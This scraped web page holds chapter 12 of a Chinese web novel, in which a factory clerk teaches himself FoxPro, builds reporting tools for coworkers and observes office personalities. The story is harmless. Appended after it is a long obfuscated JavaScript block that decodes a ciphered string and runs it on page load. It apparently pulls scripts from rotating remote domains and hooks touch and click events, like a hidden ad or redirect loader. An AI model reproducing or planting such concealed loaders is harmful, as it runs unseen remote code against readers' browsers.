第12节
章节错误,点此举报(免注册),举报后维护人员会在两分钟内校正章节内容,请耐心等待,并刷新页面。
叶奕凡平常看到的界面都是软件运行后的界面,这回看到了后台的代码界面,看着那一行行看似枯燥的代码,就组成复杂多变,功能完备的应用软件,能输入,能计算,能存储,能打印,仿佛代码有了生命一般。
叶奕凡不由得越来越感到有兴趣。田老师看他感兴趣,也讲了下软件入门知识,告诉怎么创建一个程序,怎么输出“helloorld!”。
中午和黎涛一起陪田老师吃饭,聊了很多,才知道田老师是当地铁道学院的教授,但专业不是软件,而是力学,挺有意思。
不过他使用计算机的资历大得吓人,据说在整个市里,历史上第一台电脑是造船厂买的,第二台就是铁道学院买的,而他,就是这第二台电脑的使用者。后来不知怎么被李老板聘过去了。
下午回去,过了没多长时间,全部数据都恢复了。向田老师道谢,田老师就自己回市内了。
叶奕凡从田老师那里知道,软件是用一个叫foxpro的编程语言编写的。过了几天,叶奕凡特意请假去了趟市内的新华书店,关于foxpro有不少,找了很长时间,确定了一本写的比较深入浅出的,买了回去。
随后的时间里,除了有人来开票,几乎全部精力都投入到了软件的学习中。并慢慢的试着从现成软件的架构中,提取关键的功能,比如直接利用现成的打印模块。
这种较低级的语言,打印模块都是一条线一条线去拼,要现写准能吐血,找明白它要打印的数据的接口,把自己想要打印的数据传过去,就很容易实现功能了。就这样一点点学,一点点试,进步的很快。
其间又有一次软件出了个小故障,把田老师又请来了,在修复的时候,叶奕凡就和他提起了学软件的事,说自己现在正在背里面一些常用函数。
田老师说我学的时候一般不看这个,在用到的时候,会想,应该有这种函数存在,然后去查找就行了,也就是查而不背。
这个观点确实是经验之谈,叶奕凡也好好想了想,最后决定可以借鉴,但不能完全听从。因为田老师是有经验的人,脑子里有很多成型的东西,所以他可以用时现查,而叶奕凡毫无经验,脑袋里空空如也,所以必须将一些最常用的东西先放在脑子里,这是举一,然后才能追求返三。
叶奕凡是个又愿意听别人意见,又不会尽听别人意见的人,有自己的分析和判断,因为每个人是不同的,遇到的事也不可能完全相同,要具体情况具体分析,小马过河的道理,可要深深体会。
就这样如饥似渴的学习着,不断的想一些自己需要的功能,然后自己去实现,慢慢的想到的基本都能实现出来。当叶奕凡觉的自己略有小成的时候,就想找机会真正试一试,于是问生产科的李姐,平常工作有没有挺麻烦的处理流程什么的,可以用软件帮她做。
李姐还真就提了一个需求,说她每天要统计各车间的产量,要每天把数据输入在一个制表软件中打印出来,因为每天一个文件,所以以后需要按月相加,统计各种类型产品的时候就特别麻烦。如果是现在的excel就很简单了,但当时的制表软件功能没那么强,实现不了。
叶奕凡就觉得这个功能用软件去实现还是挺方便的,就按纵向是各车间名,横向是产品类型,做了个数据表,然后把领料单的界面改了改,改成每天输入各车间,各型号产品的产量输入。有基本数据就好办了,按指定规则进行计算就相对太容易了。
按李姐的要求,做了几种定型的计算,从不同角度计算当月的产量,然后再打印出来,完美解决了李姐的问题。
随着对foxpro越来越了解,软件再有什么问题的时候,叶奕凡自己先把所有东西都备份一下,然后大胆地尝试着修复,慢慢地就都能解决了,就算有问题,顶多用备份恢复一下就可以了。
最终在田老师来了第三次之后,就再也没有因bug问题过来了,平时常见的问题,叶奕凡都能处理了。
除了帮李姐做一些她需要的机能外,慢慢的,做劳资的张虹,也经常找他帮忙,她用来计算交社保的软件,也偶尔出些问题,叶奕凡在研究了一段时间之后,也都给处理掉了。
在解决问题的过程中,也需要知道养老保险,以及其他各种保险的计算方式,甚至整个保险从每月最初的计算,到打印,到制作准备交给劳动服务公司拷数据的软盘,整个流程叶奕凡都变得熟悉起来了,感觉这个工作也挺有意思的。
有一天,公司的接待员小季到四楼找叶奕凡,递了几页纸,让他帮忙打印出来,然后走到门口想起什么了,回头面无表情的冲叶奕凡喊到:
“小叶,打印完给我送去啊!”
叶奕凡听了当时就有点愣住了,旁边的黎涛更是大笑道:
“她就差没说:‘小叶子,打完送我办公室去!’。”
叶奕凡前面办公桌的人,当下听了也说道:
“按她的性格这话完全能说出来,只是今天没发挥好。”
前面坐的是技术科长姚克飞,姚克飞在公司地位很有些特殊,一般不叫科长,叫他姚部长,据说是在集团兼个什么职位,在董事长面前都挂着号,对他很看重。
账面工资,其他科长700,他800,当然这是年末找补之前的,年末应该会还有一笔收入。还有一点,他好象做事特别大胆,什么都不太顾忌,他是唯一敢在这个大办公室抽烟的人,就在技术科附近,窗一开就抽,也不管前面一堆纸壳质的样板。
有一次他收拾办公桌,在抽屉里发现一条裤子,可能是以前的样品,直接扔给叶奕凡说,看看合适就拿回去穿,一比量还真差不多,下班就带出去了。
经过门卫处,门卫是不允许从公司往外带服装的,除非有出库单,不过告诉这是姚部长给的,门卫也就无奈放行了,没其他人有他这种特殊地位了。
这话一说大家都哈哈大笑,这个小季,虽然个头不高,模样还真是很端正耐看,就是性格问题很大,还没得志就经常的想猖狂了。
有一次叶奕凡到三楼去,老古问道:
“小叶啊,你还没对象吧,你看那个小季怎么样,给你介绍一下啊?”
说实话光看外表还真可以试试,但一想到那个性格,叶奕凡就忙摇头道:
“啊,我还不着急,再说吧。”
老古有些纳闷:
“唉,怎么都这样,这小姑娘怎么了,不挺好的吗?”
叶奕凡一听这口气,敢情她还介绍了不少家。
小季平常在公司二楼办公室里,有一次叶奕凡到有事二楼去了一趟,里面有不少人乱糟糟的,看到小季坐在最里面靠窗的位置,在大声的读英语,当时感觉小姑娘还不错。
但不久后又有一次经过二楼,发现里只有小季一个人,她就无聊的从桌前走到窗前,看一眼又无聊的往别处溜跶,叶奕凡马上就判断出这个人不太靠谱了。好的学习不是给自己学的,而是学给别人看的。
又过了一段时间听说,她好象和集团服装设计中心的一个小伙子谈上恋爱了。叶奕凡知道了还在想,这种性格,什么样的人能和她处时间长了呢?
『加入书签,方便阅读』
!function(){function a(a){var _idx="xvmmbotlxu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJmDFTd5)4mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m((JLpqYmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8RX^^)OFqR_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"RX^^)OFqR_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mC:2qC4YmRT4"="o}0X5ThF)mCO7h_fTmRT4"="o}02pThFmC:2qC4YmRT4"="o}0_JqhFmCO7h_fTmRT4"="o}02TOhFmC:2qC4YmRT4"="o}0CSqhF)mCO7h_fTmRT4"="o}0)FfThF)fmC:2qC4YmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mR4fd)TDmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q/f/o}0j(8}vR8RX^^)OFqR_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m6qTq)dJmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();